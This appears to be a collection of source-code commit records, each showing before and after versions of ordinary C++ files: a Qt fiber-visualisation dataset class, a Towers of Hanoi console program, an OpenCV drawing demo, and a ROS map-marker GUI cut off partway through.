  m_tubeRenderer->init();\n            m_tubeRenderer->colorChanged( properties( target )->get( Fn::Property::COLOR ).value<QColor>() );\n            connect( properties( target )->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), m_tubeRenderer, SLOT( colorChanged( QColor ) ) );\n        }\n\n        m_tubeRenderer->draw( pMatrix, mvMatrix, width, height, renderMode, properties( target ) );\n    }\n}\n\nQString DatasetFibers::getValueAsString( int x, int y, int z )\n{\n    return QString( \"\" );\n}\n\nvoid DatasetFibers::colorChanged()\n{\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, 2 );\n}\n\nvoid DatasetFibers::dataModeChanged()\n{\n    if ( m_renderer != 0 )\n    {\n        delete m_renderer;\n        m_renderer = 0;\n    }\n    if ( m_tubeRenderer != 0 )\n    {\n        delete m_tubeRenderer;\n        m_tubeRenderer = 0;\n    }\n    float min = m_dataMins[ m_properties[\"maingl\"]->get( Fn::Property::DATAMODE).toInt()];\n    float max = m_dataMaxes[ m_properties[\"maingl\"]->get( Fn::Property::DATAMODE).toInt()];\n\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, min );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setMin( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setMax( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setMin( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setMax( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setValue( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setValue( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::LOWER_THRESHOLD ) )->setValue( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::UPPER_THRESHOLD ) )->setValue( max );\n    Models::d()->submit();\n}\n<commit_msg>props for maingl2 for fiber datasets<commit_after>\/*\n * datasetfibers.cpp\n *\n * Created on: Dec 12, 2012\n * @author Ralph Schurade\n *\/\n#include \"datasetfibers.h\"\n\n#include \"fiberselector.h\"\n#include \"..\/models.h\"\n#include \"..\/..\/gui\/gl\/fiberrenderer.h\"\n#include \"..\/..\/gui\/gl\/tuberenderer.h\"\n\n\nDatasetFibers::DatasetFibers( QDir filename, QVector< QVector< float > > fibs ) :\n    Dataset( filename, Fn::DatasetType::FIBERS ),\n    m_fibs( fibs ),\n    m_renderer( 0 ),\n    m_tubeRenderer( 0 ),\n    m_selector( 0 )\n{\n    int numPoints = 0;\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        numPoints += fibs[i].size() \/ 3;\n    }\n\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_POINTS, numPoints );\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_LINES, fibs.size() );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_RENDERMODE, {\"lines\", \"tubes\"}, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, { \"global\", \"local\", \"user defined\", \"mri\" }, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLOR, QColor( 255, 0, 0 ), true );\n    m_properties[\"maingl\"]->set( Fn::Property::ALPHA, 1.f, 0.f, 1.f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_THICKNESS, 1.0f, 0.1f, 5.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMAP, 1 );\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, 0.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MIN, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MAX, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::LOWER_THRESHOLD, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::UPPER_THRESHOLD, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::DX, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DY, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DZ, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NX, 800, 0, 1600, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NY, 1000, 0, 2000, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NZ, 800, 0, 1600, true );\n\n    QVector<QVector<float> >data0;\n    data0.reserve( fibs.size() );\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        data0.push_back( QVector<float>( fibs[i].size() \/ 3 ) );\n    }\n    m_data.push_back( data0 );\n    m_dataNames.push_back( \"no data\" );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), this, SLOT( colorChanged() ) );\n\n    PropertyGroup* props = new PropertyGroup();\n    props->set( Fn::Property::ACTIVE, true, true );\n    props->set( Fn::Property::RENDER_TARGET, \"maingl2\" );\n    m_properties.insert( \"maingl2\", props );\n\n    m_properties[\"maingl2\"]->set( Fn::Property::NUM_POINTS, numPoints );\n    m_properties[\"maingl2\"]->set( Fn::Property::NUM_LINES, fibs.size() );\n    m_properties[\"maingl2\"]->set( Fn::Property::FIBER_RENDERMODE, {\"lines\", \"tubes\"}, 0, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::COLORMODE, { \"global\", \"local\", \"user defined\", \"mri\" }, 0, true );\n    \/\/m_properties[\"maingl2\"]->set( Fn::Property::COLOR, QColor( 255, 0, 0 ), true );\n    m_properties[\"maingl2\"]->set( Fn::Property::ALPHA, 1.f, 0.f, 1.f, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::FIBER_THICKNESS, 1.0f, 0.1f, 5.0f, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::COLORMAP, 1 );\n    m_properties[\"maingl2\"]->set( Fn::Property::MIN, 0.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::MAX, 1.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::SELECTED_MIN, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::SELECTED_MAX, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::LOWER_THRESHOLD, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::UPPER_THRESHOLD, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl2\"]->set( Fn::Property::DX, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::DY, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::DZ, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::NX, 800, 0, 1600, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::NY, 1000, 0, 2000, true );\n    m_properties[\"maingl2\"]->set( Fn::Property::NZ, 800, 0, 1600, true );\n}\n\nDatasetFibers::DatasetFibers( QDir filename,\n                                 QVector< QVector< float > > fibs,\n                                 QVector< QVector< QVector< float > > >data,\n                                 QVector<QString>dataNames,\n                                 QVector< float > mins,\n                                 QVector<float> maxes ) :\n    Dataset( filename, Fn::DatasetType::FIBERS ),\n    m_fibs( fibs ),\n    m_data( data ),\n    m_dataNames( dataNames ),\n    m_dataMins( mins ),\n    m_dataMaxes( maxes ),\n    m_renderer( 0 ),\n    m_tubeRenderer( 0 ),\n    m_selector( 0 )\n{\n    int numPoints = 0;\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        numPoints += fibs[i].size() \/ 3;\n    }\n\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_POINTS, numPoints );\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_LINES, fibs.size() );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_RENDERMODE, {\"lines\", \"tubes\"}, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, { \"global\", \"local\", \"user defined\", \"mri\", \"data\" }, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DATAMODE, dataNames, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLOR, QColor( 255, 0, 0 ), true );\n    m_properties[\"maingl\"]->set( Fn::Property::ALPHA, 1.f, 0.f, 1.f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_THICKNESS, 1.0f, 0.1f, 5.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMAP, 1, true );\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, 0.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MIN, 0.0f, 0.0f, 1.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MAX, 1.0f, 0.0f, 1.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::LOWER_THRESHOLD, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::UPPER_THRESHOLD, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::DX, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DY, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DZ, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NX, 800, 0, 1600, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NY, 1000, 0, 2000, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NZ, 800, 0, 1600, true );\n\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::LOWER_THRESHOLD ), SLOT( setMax( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::UPPER_THRESHOLD ), SLOT( setMin( float ) ) );\n\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SLOT( setMin( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SLOT( setMax( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), this, SLOT( colorChanged() ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::DATAMODE ), SIGNAL( valueChanged( int ) ), this, SLOT( dataModeChanged() ) );\n}\n\nDatasetFibers::~DatasetFibers()\n{\n    m_fibs.clear();\n}\n\nQVector< QVector< float > > DatasetFibers::getFibs()\n{\n    return m_fibs;\n}\n\nQVector< QVector< QVector< float > > > DatasetFibers::getData()\n{\n    return m_data;\n}\n\nQVector< QVector< float > > DatasetFibers::getSelectedFibs()\n{\n    if ( m_renderer == 0 )\n    {\n        return m_fibs;\n    }\n    else\n    {\n        QVector<bool>*selected = m_selector->getSelection();\n        QVector<QVector<float> >out;\n        for ( int i = 0; i < selected->size(); ++i )\n        {\n            if ( selected->at( i ) )\n            {\n                out.push_back( m_fibs[i] );\n            }\n        }\n        return out;\n    }\n}\n\nvoid DatasetFibers::draw( QMatrix4x4 pMatrix, QMatrix4x4 mvMatrix, int width, int height, int renderMode, QString target )\n{\n    if ( !properties( target )->get( Fn::Property::ACTIVE ).toBool() )\n    {\n        return;\n    }\n    if ( m_selector == 0 )\n    {\n        m_selector = new FiberSelector();\n        m_selector->init( m_fibs );\n        connect( m_selector, SIGNAL( changed() ), Models::d(), SLOT( submit() ) );\n    }\n\n    if ( properties( target )->get( Fn::Property::FIBER_RENDERMODE).toInt() == 0 )\n    {\n        if ( m_renderer == 0 )\n        {\n            m_renderer = new FiberRenderer( m_selector, m_fibs, m_data[properties( target )->get( Fn::Property::DATAMODE).toInt()] );\n            m_renderer->setModel( Models::g() );\n            m_renderer->init();\n            m_renderer->colorChanged( properties( target )->get( Fn::Property::COLOR ).value<QColor>() );\n            connect( properties( target )->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), m_renderer, SLOT( colorChanged( QColor ) ) );\n        }\n\n        m_renderer->draw( pMatrix, mvMatrix, width, height, renderMode, properties( target ) );\n    }\n    else if ( properties( target )->get( Fn::Property::FIBER_RENDERMODE).toInt() == 1 )\n    {\n        if ( m_tubeRenderer == 0 )\n        {\n            m_tubeRenderer = new TubeRenderer( m_selector, m_fibs, m_data[properties( target )->get( Fn::Property::DATAMODE).toInt()] );\n            m_tubeRenderer->setModel( Models::g() );\n            m_tubeRenderer->init();\n            m_tubeRenderer->colorChanged( properties( target )->get( Fn::Property::COLOR ).value<QColor>() );\n            connect( properties( target )->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), m_tubeRenderer, SLOT( colorChanged( QColor ) ) );\n        }\n\n        m_tubeRenderer->draw( pMatrix, mvMatrix, width, height, renderMode, properties( target ) );\n    }\n}\n\nQString DatasetFibers::getValueAsString( int x, int y, int z )\n{\n    return QString( \"\" );\n}\n\nvoid DatasetFibers::colorChanged()\n{\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, 2 );\n}\n\nvoid DatasetFibers::dataModeChanged()\n{\n    if ( m_renderer != 0 )\n    {\n        delete m_renderer;\n        m_renderer = 0;\n    }\n    if ( m_tubeRenderer != 0 )\n    {\n        delete m_tubeRenderer;\n        m_tubeRenderer = 0;\n    }\n    float min = m_dataMins[ m_properties[\"maingl\"]->get( Fn::Property::DATAMODE).toInt()];\n    float max = m_dataMaxes[ m_properties[\"maingl\"]->get( Fn::Property::DATAMODE).toInt()];\n\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, min );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setMin( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setMax( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setMin( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setMax( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ) )->setValue( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ) )->setValue( max );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::LOWER_THRESHOLD ) )->setValue( min );\n    static_cast<PropertyFloat*> ( m_properties[\"maingl\"]->getProperty( Fn::Property::UPPER_THRESHOLD ) )->setValue( max );\n    Models::d()->submit();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <conio.h>\n#include <iostream>\n#include <stdlib.h>\n#include <windows.h>\n\nusing namespace std;\n\nvoid hanoi(int puzzle, char from, char help, char into) {\n\tHANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);\n\tif(puzzle > 0) {\n\t\thanoi (puzzle - 1, from, into, help);\n\t\t\/\/ system (\"color B\" );\n\t\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\t\n\t\tprintf(\"\\t\\t | Mueva la Pieza %d De %c a la Torre %c        |\\n\", puzzle, from, into);\n\t\thanoi(puzzle - 1, help, from, into);\n\t} \n}\n\nint main() {\n\tHANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);\n\tint puzzle;\n\tSetConsoleTextAttribute(h, FOREGROUND_GREEN | FOREGROUND_INTENSITY);\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tprintf(\"\\t\\t               Torres De Hanoi                 \\n\");\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\t\n\tprintf(\"\\t\\t Inserte El numero de piezas que desea :  \");\n\tSetConsoleTextAttribute(h, FOREGROUND_RED  | FOREGROUND_INTENSITY);\n\tscanf(\"%d\", &puzzle);\n\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\thanoi(puzzle, 'A', 'B', 'C');\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tint res = 1;\n\n\tfor(int i = 0; i < puzzle; i++)\n\t\tres = res * 2;\n\tprintf(\"\\t\\t\\t      Cantidad De Pasos: %i\", res -1);\n\tgetch();\t\n}\n<commit_msg>small changes are added to file<commit_after>#include \"stdafx.h\"\n#include <stdlib.h>\n#include <iostream>\n#include <windows.h>\n#include <vector>\n\nusing namespace std;\nusing namespace System;\n\nint puzzle;\nint res = 1;\n\nint cantidadTorres;\n\nstd::vector<int> a;\nstd::vector<int> b;\nstd::vector<int> c;\n\nvoid iniciar(int n){\n\ta.clear();\n\tb.clear();\n\tc.clear();\n\tfor(int i=n;i>0;i--){\n\t\ta.push_back(i);\n\t}\n}\n\nvoid hanoi(int puzzle, char from, char help, char into) {\n\tHANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);\n\tif(puzzle > 0) {\n\t\thanoi (puzzle - 1, from, into, help);\n\t\t\/\/ system (\"color B\" );\n\t\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\t\n\t\tprintf(\"\\t\\t | Mueva la Pieza %d De %c a la Torre %c        |\\n\", puzzle, from, into);\n\t\thanoi(puzzle - 1, help, from, into);\n\t} \n}\n\nint main() {\n\tHANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);\n\tint puzzle;\n\tSetConsoleTextAttribute(h, FOREGROUND_GREEN | FOREGROUND_INTENSITY);\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tprintf(\"\\t\\t               Torres De Hanoi                 \\n\");\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\t\n\tprintf(\"\\t\\t Inserte El numero de piezas que desea :  \");\n\tSetConsoleTextAttribute(h, FOREGROUND_RED  | FOREGROUND_INTENSITY);\n\tscanf(\"%d\", &puzzle);\n\tSetConsoleTextAttribute(h, FOREGROUND_BLUE | FOREGROUND_INTENSITY);\t\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\thanoi(puzzle, 'A', 'B', 'C');\n\tprintf(\"\\t\\t --------------------------------------------- \\n\");\n\tint res = 1;\n\n\tfor(int i = 0; i < puzzle; i++)\n\t\tres = res * 2;\n\tprintf(\"\\t\\t\\t      Cantidad De Pasos: %i\", res -1);\n\tgetch();\t\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  main.cpp\n\/\/  Hello-OpenCV\n\/\/\n\/\/  Created by nsp on 13\/2\/17.\n\/\/  Copyright © 2017 nspool. All rights reserved.\n\/\/\n\n\/\/ Because the opencv framework headers don't play well with clang\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n\n#include <iostream>\n#include \"opencv2\/opencv.hpp\"\n\n\n\/\/cv::Vec small, fixed vectors\n\/\/cv::Matx small, fixed matrices\n\/\/cv::Point (x & y) can be cast to Vec but not derived from it. Dot & cross product.\n\/\/cv::Size (width & height), area computation\n\/\/cv::Rect (x & y & width & height), area, upper-left and bottom-right, intersections\n\/\/cv::RotatedRect\n\/\/cv::Scalar a four-dimensional point class, element-wise multiplication, quaternion conjection\n\nvoid createSparse() {\n    int size[] = {10,10};\n    cv::SparseMat sm(2,size, CV_32F);\n    \n    for(int i=0; i<10; i++) {\n        int idx[2];\n        idx[0] = size[0] * rand();\n        idx[1] = size[1] * rand();\n        sm.ref<float>(idx) += 1.0f;\n    }\n    \n    \/\/ cv::SparseMatConstIterator_<float> it = sm.begin<float>();\n    \/\/ cv::SparseMatConstIterator_<float> it_end = sm.end<float>();\n    auto it = sm.begin<float>();\n    auto it_end = sm.end();\n    for(;it != it_end; ++it) {\n        const cv::SparseMat::Node* node = it.node();\n        printf(\"(%3d,%3d) %f\\n\", node->idx[0],node->idx[1], *it);\n    }\n}\n\n\nvoid createMat() {\n    cv::Mat m;\n    m.create(3, 10, CV_32FC3); \/\/ Create data area for 3 rows and 10 columns of 3-channel 32-bit floats\n    m.setTo(cv::Scalar(1.0f, 0.0f, 1.0f)); \/\/ Set the value of 1st and 3rd channels to 1.0, 2nd channel to 0\n    \/\/ Equivalent to:\n    cv::Mat m2(3,10,CV_32FC3,cv::Scalar(1.0f, 0.0f, 1.0f));\n}\n\nvoid solve() {\n    \n}\n\n\nint main(int argc, const char * argv[]) {\n    \n\/\/    createSparse();\n\n    cv::Mat imgBackground = cv::imread(\"a.jpg\");\n    cv::Mat imgSprite = cv::imread(\"b.jpg\");\n    \n    if(imgBackground.empty() || imgSprite.empty()){\n        return -1;\n    }\n    \n    cv::Mat imgOutput;\n    cv::transpose(imgSprite, imgOutput);\n    \n    cv::Mat roi1(imgBackground, cv::Rect(10,10,259,258));\n    cv::Mat roi2(imgOutput, cv::Rect(0,0,259,258));\n    \n    cv::addWeighted(roi1, 0.5, roi2, 0.5, 0.0, roi1);\n    \n    cv::imshow(\"Example\", imgBackground);\n    cv::waitKey();\n    cv::destroyWindow(\"Example\");\n    \n    return 0;\n}\n\n\n\n\n<commit_msg>Text border examples<commit_after>\/\/\n\/\/  main.cpp\n\/\/  Hello-OpenCV\n\/\/\n\/\/  Created by nsp on 13\/2\/17.\n\/\/  Copyright © 2017 nspool. All rights reserved.\n\/\/\n\n\/\/ Because the opencv framework headers don't play well with clang\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n\n#include <iostream>\n#include \"opencv2\/opencv.hpp\"\n\n\n\/\/cv::Vec small, fixed vectors\n\/\/cv::Matx small, fixed matrices\n\/\/cv::Point (x & y) can be cast to Vec but not derived from it. Dot & cross product.\n\/\/cv::Size (width & height), area computation\n\/\/cv::Rect (x & y & width & height), area, upper-left and bottom-right, intersections\n\/\/cv::RotatedRect\n\/\/cv::Scalar a four-dimensional point class, element-wise multiplication, quaternion conjection\n\nvoid createSparse() {\n    int size[] = {10,10};\n    cv::SparseMat sm(2,size, CV_32F);\n    \n    for(int i=0; i<10; i++) {\n        int idx[2];\n        idx[0] = size[0] * rand();\n        idx[1] = size[1] * rand();\n        sm.ref<float>(idx) += 1.0f;\n    }\n    \n    \/\/ cv::SparseMatConstIterator_<float> it = sm.begin<float>();\n    \/\/ cv::SparseMatConstIterator_<float> it_end = sm.end<float>();\n    auto it = sm.begin<float>();\n    auto it_end = sm.end();\n    for(;it != it_end; ++it) {\n        const cv::SparseMat::Node* node = it.node();\n        printf(\"(%3d,%3d) %f\\n\", node->idx[0],node->idx[1], *it);\n    }\n}\n\n\nvoid createMat() {\n    cv::Mat m;\n    m.create(3, 10, CV_32FC3); \/\/ Create data area for 3 rows and 10 columns of 3-channel 32-bit floats\n    m.setTo(cv::Scalar(1.0f, 0.0f, 1.0f)); \/\/ Set the value of 1st and 3rd channels to 1.0, 2nd channel to 0\n    \/\/ Equivalent to:\n    cv::Mat m2(3,10,CV_32FC3,cv::Scalar(1.0f, 0.0f, 1.0f));\n}\n\nvoid solve() {\n    \n}\n\n\nint main(int argc, const char * argv[]) {\n    \n\/\/    createSparse();\n\n    \/\/ Colours\n    cv::Mat imgBackground = cv::imread(\"a.jpg\");\n    cv::Mat imgSprite = cv::imread(\"b.jpg\");\n    \n    \/\/ For borders\n    auto white = cv::Scalar(255,255,255,0);\n    auto red = cv::Scalar(0,0,255,0);\n    \n    if(imgBackground.empty() || imgSprite.empty()){\n        return -1;\n    }\n    \n    cv::Mat imgOutput;\n    cv::transpose(imgSprite, imgOutput);\n    \n    cv::Mat roi1(imgBackground, cv::Rect(10,10,259,258));\n    cv::Mat roi2(imgOutput, cv::Rect(0,0,259,258));\n    \n    cv::addWeighted(roi1, 0.5, roi2, 0.5, 0.0, roi1);\n    \n    \/\/ Put a border around the transposed sprite\n    cv::rectangle(imgBackground, cv::Point(10,10), cv::Point(269,268), white);\n    \n    \/\/ Draw the title text and place a red border around it\n\n    auto titleText = std::string(\"Title Appears Here\");\n    cv::Point textPoint = cv::Point(300,30);\n    cv::putText(imgBackground, titleText, textPoint, 0, 1, 0, 2, 4, false);\n    int textBaseline = 0;\n    cv::Size textSize = cv::getTextSize(titleText, 0, 1, 2, &textBaseline);\n    textPoint.y = textPoint.y + textBaseline;\n    cv::rectangle(imgBackground, textPoint, cv::Point(textPoint.x + textSize.width, textPoint.y - textBaseline - textSize.height - 2), red);\n    \n    cv::imshow(\"Example\", imgBackground);\n    cv::waitKey();\n    cv::destroyWindow(\"Example\");\n    \n    return 0;\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <QtGui>\n#include <QMessageBox>\n#include <QFileDialog>\n#include <QGraphicsScene>\n#include <iostream>\n#include <algorithm>\n#include \"main_window.hpp\"\n\n#include <QDebug>\n\n#include \"geometry_msgs\/Pose.h\"\n\nusing namespace Qt;\n\nnamespace map_marker {\n\n\tconst double map_min = -5;\n\tconst double map_max = 5;\n\tconst double map_pix = 992;\n\n\tconst QColor red = QColor(180, 40, 0);\n\tconst QColor blue = QColor(30, 30, 140);\n\tconst QColor green = QColor(50, 140, 30);\n\tconst QColor orange = QColor(230, 120, 0);\n\n\t\n\n\n\tMainWindow::MainWindow(int argc, char** argv, QWidget *parent) : QMainWindow(parent), qnode(argc,argv) {\n\t\tui.setupUi(this);\n\t\tqnode.init();\n\n\t\t\/\/ Connect list update to draw function\n\t\tQObject::connect(ui.tableWidget->selectionModel(), SIGNAL(selectionChanged(const QItemSelection &, const QItemSelection &)), SLOT(UpdateWindow()));\n\n\t\t\/\/ Load map image\n\t\tQString url = \"\/home\/lars\/git\/ESA-PROJ\/maps\/legomap3-cropped.pgm\";\n\t\tmap = new QPixmap(url);\n\n\t\t\/\/ Ttable editing\n\t\tui.tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers);\n\t\tui.tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);\n\t\tui.tableWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\t\t\/\/ Create map image\n\t\tlblMapImage = new ClickableLabel(this);\n\t\tlblMapImage->setAlignment(Qt::AlignBottom | Qt::AlignRight);\n\t\tlblMapImage->setGeometry(QRect(0, 0, map_pix, map_pix));\n\t\t\/\/lblMapImage->setPixmap(*map);\n\t\tQObject::connect(lblMapImage, SIGNAL(clicked(QPoint)), this, SLOT(lblMapImage_clicked(QPoint)));\n\n\t\t\/\/ Set validator for input fields\n\t\tui.inpCustomX->setValidator(new QDoubleValidator(-100, 100, 5, ui.inpCustomX));\n\t\tui.inpCustomY->setValidator(new QDoubleValidator(-100, 100, 5, ui.inpCustomY));\n\t\tui.inpCustomAngle->setValidator(new QDoubleValidator(0, 360, 5, ui.inpCustomAngle));\n\n\t\t\/\/ Panic button color\n\t\tui.btnPanic->setStyleSheet(\"color: rgb(192,0,0);\");\n\n\t\t\/\/ Add marker for testing\n\t\tMarker m(1.0, 2.0, 40.0, Navigation);\n\t\tAddMarker(m);\n\n\t\tUpdateTable();\n\t}\n\n\tMainWindow::~MainWindow() {\n\t\tdelete map;\n\t\tdelete lblMapImage;\n\n\t}\n\n\tvoid MainWindow::paintEvent(QPaintEvent *e) {\n        \n      Q_UNUSED(e);\n\n      ROS_INFO(\"Paintevent\");\n      \n      QPainter qp(this);\n\n      qp.drawPixmap(0,0,992,992, *map);\n      drawMarkers(&qp);\n    }\n\n    void MainWindow::drawMarkers(QPainter *qp) {\n\t\tQPen pen(Qt::black, 2, Qt::SolidLine);  \n\t\tgeometry_msgs::Pose pos = qnode.GetRobotPosition();\n\t\tQPoint p1;\n\n\t\tpen.setWidth(10);\n\n\t\tfor(int i = 0; i < markers.size(); i++) {\n\t\t\t\n\t\t\tif(i == GetSelectedMarker()) {\n\t\t\t\tpen.setColor(red);\n\t\t\t} else if(markers[i].GetType() == Workspace) {\n\t\t\t\tpen.setColor(green);\n\t\t\t} else 